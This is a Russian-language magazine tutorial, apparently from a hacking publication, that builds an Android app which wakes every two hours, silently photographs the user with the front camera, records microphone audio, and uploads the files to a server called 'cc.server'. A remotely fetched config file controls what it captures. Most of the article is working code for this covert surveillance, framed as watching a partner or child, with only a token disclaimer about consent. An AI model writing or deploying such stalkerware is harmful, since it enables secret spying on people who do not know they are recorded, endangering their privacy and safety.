Интро

Для всех нас безопасность близких людей стоит на первом месте. Вспомни ощущения, когда важный тебе человек не отвечает на звонки, а сообщения в WhatsApp остаются непрочитанными. В такие моменты мы готовы многое отдать, лишь бы получить представление о том, что же там происходит. Конечно, сотовые операторы предоставляют услуги по геолокации абонента, но информация, что «девушка находится где-то посередине» Большой Дмитровки, душу не успокаивает. Посмотрим, что мы можем с этим сделать.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
 

Ставим цели

К счастью, мы живем в то прекрасное время, когда от желаемого до действительного — пара строчек кода. Давай проверим, чем нам может помочь современный мобильный телефон на базе ОС Android.

Сегодня мы напишем маленькую программу, которая в фоновом режиме будет собирать из окружающего пространства важные для нас данные, а затем отправлять их на указанный интернет-ресурс.

В статье из позапрошлого номера «Повелитель ботов на Android» мы написали хорошее и полезное приложение, но у него был один недостаток: его нельзя запустить для работы в фоне и пойти заниматься своими делами. Все дело в так называемом жизненном цикле приложения (Activity lifecyсle). Советую изучить официальные материалы по теме, а пока коротко скажу так: как только система видит, что пользователь перестал работать в приложении, оно становится в очередь на выгрузку из памяти для освобождения ресурсов под другие задачи. Поэтому, если мы хотим денно и нощно следить за окружающим миром с помощью телефона, придется действовать по-другому.

Пусть наша программа периодически самостоятельно запускается, делает фотографию с фронтальной камеры и пишет звук с микрофона, после чего полученные данные должны отправляться в интернет на указанный нами сервер. Для большей гибкости включим в нее возможность менять настройки поведения, периодически загружая из интернета конфигурационный файл.

Рис. 1. Блок-схема приложения
Рис. 1. Блок-схема приложения
 

В бой!

Начнем с конфигурационного файла. Для удобства работы будем раз в день загружать из сети XML-файл и парсить его с помощью библиотеки XMLPullParser. В данном случае мы проверяем наличие открывающихся тегов audio и photo. Естественно, этот класс позволяет и большее, поэтому проблем с созданием гибких настроек не будет. Непосредственно настройки будут храниться в SharedPreferences, их мы уже много раз использовали, рекомендую пролистать предыдущие статьи.

XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
factory.setNamespaceAware(true);
XmlPullParser parser = factory.newPullParser();

// Загружаем XML-файл с указанного ресурса методом GET и считываем данные с помощью класса InputStream
HttpURLConnection urlConnection = null;
URL url = new URL("http://cc.server/config.xml");
urlConnection = (HttpURLConnection) url.openConnection();
urlConnection.setRequestMethod("GET"); 
urlConnection.connect();
InputStream input = urlConnection.getInputStream(); 
parser.setInput(input, null);     
int eventType = parser.getEventType();

// Исследуем загруженный XML-файл на предмет открывающихся тегов
while(eventType != XmlPullParser.END_DOCUMENT)
{
    if(eventType == XmlPullParser.START_TAG)
    {
        if (parser.getName().contains("photo"))
        {ConfigUpdater.isPhoto=true;}
        else if (parser.getName().contains("audio"))
        {ConfigUpdater.isAudio=true;}
        eventType = parser.next();
    }
 }

Класс AsyncTask позволяет в фоновом режиме выполнить ресурсоемкую задачу. Самый яркий пример — работа с сетевыми ресурсами. Загружая файлы в фоновом режиме, мы позволяем основной программе продолжать свою работу без создания ощущения «подвисания».

public class LoadConfig extends AsyncTask<String, Void,Boolean> {
    private Exception exception;
    @Override
    protected Boolean doInBackground(String... urls) {
        try
        {
            // Запускаем в отдельном процессе функцию по загрузке и чтению конфигурационного файла
            parseXml();
        }
        catch (Exception e)
        {
            this.exception = e;
            return null;
        }
        return null;
    }
}

BroadcastReceiver — тот самый класс, позволяющий зарегистрироваться в системе на получение уведомлений о наступающих в операционной системе событиях. Получив такое уведомление, приложение обретает возможность выполнить заданный разработчиком набор команд. Зарегистрировав приложение как получателя системного события, ОС самостоятельно запустит метод onReceive в соответствующем классе при наступлении ожидаемого момента. Этот метод выполнится даже в случае, если экран телефона заблокирован или активно другое ресурсоемкое приложение.

public void onReceive(Context context, Intent intent) {
    // Запускаем с помощью AsyncTask загрузку и обработку конфигурационного файла
    new LoadConfig().execute();
    // Полученные результаты заносим в SharedPreferences
    sp = context.getSharedPreferences("Config", context.MODE_PRIVATE); 
    sp.edit().putBoolean("isAudio", isAudio).commit();
    sp.edit().putBoolean("isPhoto", isPhoto).commit();
}

В ОС Android есть возможность работать с камерой как через графический Intent, так и программно без участия пользователя. Второй способ даст возможность делать фотографии тихо и совершенно незаметно. Достаточно вычислить идентификатор нужной нам камеры и реализовать метод onPictureTaken класса PictureCallBack.

private int findFrontFacingCamera() {
    int cameraId = -1;
    int numberOfCameras = Camera.getNumberOfCameras();
    for (int i = 0; i < numberOfCameras; i++)
    {
        CameraInfo info = new CameraInfo();
        Camera.getCameraInfo(i, info);
        // Переберем все камеры в наличии и выберем фронтальную
        if (info.facing == CameraInfo.CAMERA_FACING_FRONT)
        {
            cameraId = i;
            break;
        }
    }
    return cameraId;
}
cameraId = findFrontFacingCamera();

// Создаем экземпляр класса PhotoHandler, нужен непосредственно для сохранения получившейся фотографии
PhotoHandler phHandler = new PhotoHandler(camera);
phHandler.setFile(file);
camera.reconnect();
camera.startPreview();
camera.takePicture(null, null,phHandler);

Вот как PhotoHandler реализуется. При создании фотографии ОС вызовет метод onPictureTaken, которому в качестве аргумента будет передан массив байтов с получившейся фотографией.

public class PhotoHandler implements PictureCallback {
    @Override
    public void onPictureTaken(byte[] data, Camera camera) {
        // Массив байтов записываем в выбранный файл
        FileOutputStream fos = new FileOutputStream(pictureFile);
        fos.write(data);
        fos.close();
        ourCamera.release();
        ...
    }
}

И с той же легкостью запишем звук с микрофона. Сделать это можно с помощью класса MediaRecorder. Он позволяет записывать как звук, так и видео (видео? Конечно же, мы не будем никого снимать, тем более если человек об этом не знает), в зависимости от заданных параметров.

MediaRecorder myAudioRecorder;
String outputFile = audioFile.toString();
myAudioRecorder=new MediaRecorder();

// Запись должна вестись с микрофона, в формате 3GP, алгоритм кодирования звука AMR_NB
myAudioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
myAudioRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
myAudioRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB);

Согласно документации, метод, вызванный BroadcastReceiver’ом, будет работать не дольше десяти секунд, после чего принудительно остановится системой. Для продолжительной записи нужно запускать отдельный поток с помощью класса Service. Что мы и сделаем!

Intent audioIntent = new Intent(context, AudioService.class);
context.startService(audioIntent);

При запуске сервиса выполнится метод onHandleIntent, который и будет записывать звук с микрофона.

public class AudioService extends IntentService {
    @Override
    protected void onHandleIntent(Intent intent) {
        recordAudio();
    }
    ...
}

Скидывать данные в Сеть удобнее всего обычным POST-запросом. В этом нам поможет класс HttpUrlConnection, рассмотрим основные моменты.

FileInputStream fileInputStream = new FileInputStream(new File(myFile) );
URL myUrl = new URL("http://cc.server/upload.php");
HttpURLConnection connection = (HttpURLConnection) myUrl.openConnection();
connection.setDoInput(true);
connection.setDoOutput(true);
connection.setUseCaches(false);

// Инициализируем POST-запрос
connection.setRequestMethod("POST");
connection.setRequestProperty("Connection", "Keep-Alive");
connection.setRequestProperty("Content-Type", "multipart/form-data;boundary="+boundary);

// Открываем соединение с сервером и кидаем по нему файл
outputStream = new DataOutputStream( connection.getOutputStream() ); 
outputStream.writeBytes(twoHyphens + boundary + lineEnd);

// Описываем содержимое запроса согласно RFC 1806
outputStream.writeBytes("Content-Disposition: form-data; name=\"uploadedfile\";filename=\"" + myFile +"\"" + lineEnd);
outputStream.writeBytes(lineEnd);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
buffer = new byte[bufferSize];

// Считываем в буфер файл, одновременно фиксируя размер прочитанного
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
while (bytesRead > 0)
{
    outputStream.write(buffer, 0, bufferSize);
    bytesAvailable = fileInputStream.available();
    bufferSize = Math.min(bytesAvailable, maxBufferSize);
    bytesRead = fileInputStream.read(buffer, 0, bufferSize);
}
outputStream.writeBytes(lineEnd);
outputStream.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
Рис. 2. Загруженные на сервер файлы
Рис. 2. Загруженные на сервер файлы

Чтобы все заработало, нам нужно зарегистрироваться на получение системных событий. Класс AlarmManager предоставляет возможность запланировать запуск нашего приложения в определенный момент времени. Выбор большой, мы остановимся на возможности запуска каждые два часа. Об остальном ты самостоятельно прочитаешь в официальной документации.

Intent intentConfig = new Intent(this, ConfigUpdater.class);
PendingIntent pIConfig = PendingIntent.getBroadcast(this.getApplicationContext(), 31337, intentConfig, 0);
AlarmManager aMConfig = (AlarmManager) getSystemService(ALARM_SERVICE);

// Приложение будет запускаться с настоящего момента каждые два часа
aMConfig.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(), 7200000, pIConfig);

Для полноценной работы приложения нужно еще немного модифицировать файл AndroidManifest. Приложение должно получить разрешение у ОС на все те действия, которые необходимы для выполнения задуманного: запись файлов, доступ к Сети, фотографирование, запись звука и реагирование на системные события. При установке приложения ОС предупредит пользователя обо всех этих нюансах (кроме системных событий), вот почему всегда нужно внимательно смотреть, какие разрешения ты даешь программе. Если пасьянс «Косынка» просит доступ к камере, возможно, он не только пасьянс?

INFO


Здесь рассмотрен совсем небольшой фрагмент возможностей, которые перед нами открываются. Надеюсь, теперь понятно, почему на важных переговорах требуется именно выключить телефон, а не перевести в его в авиарежим.
 

Заключение

Итак, у нас все получилось! Теперь можно спокойно отпускать свое чадо (супругу, кота) и в пир и в мир. Главное — предупредить, что все записывается и протоколируется. Ведь мы против вмешательства в частную жизнь других людей без их ведома.

Рис. 3. Коммерческое приложение схожего функционала. Как видишь, можно сделать и самому
Рис. 3. Коммерческое приложение схожего функционала. Как видишь, можно сделать и самому

В статье мы остановились на ключевых моментах, а на нашем сайте есть более подробный исходный код созданной программы. Наша главная задача — пробудить у тебя интерес к безопасности устройств на базе Android, поэтому выложенные исходники мы чуть-чуть обрезали. Если что-то осталось непонятным — обязательно пиши мне на почту. Удачи и душевого спокойствия!

Оставить мнение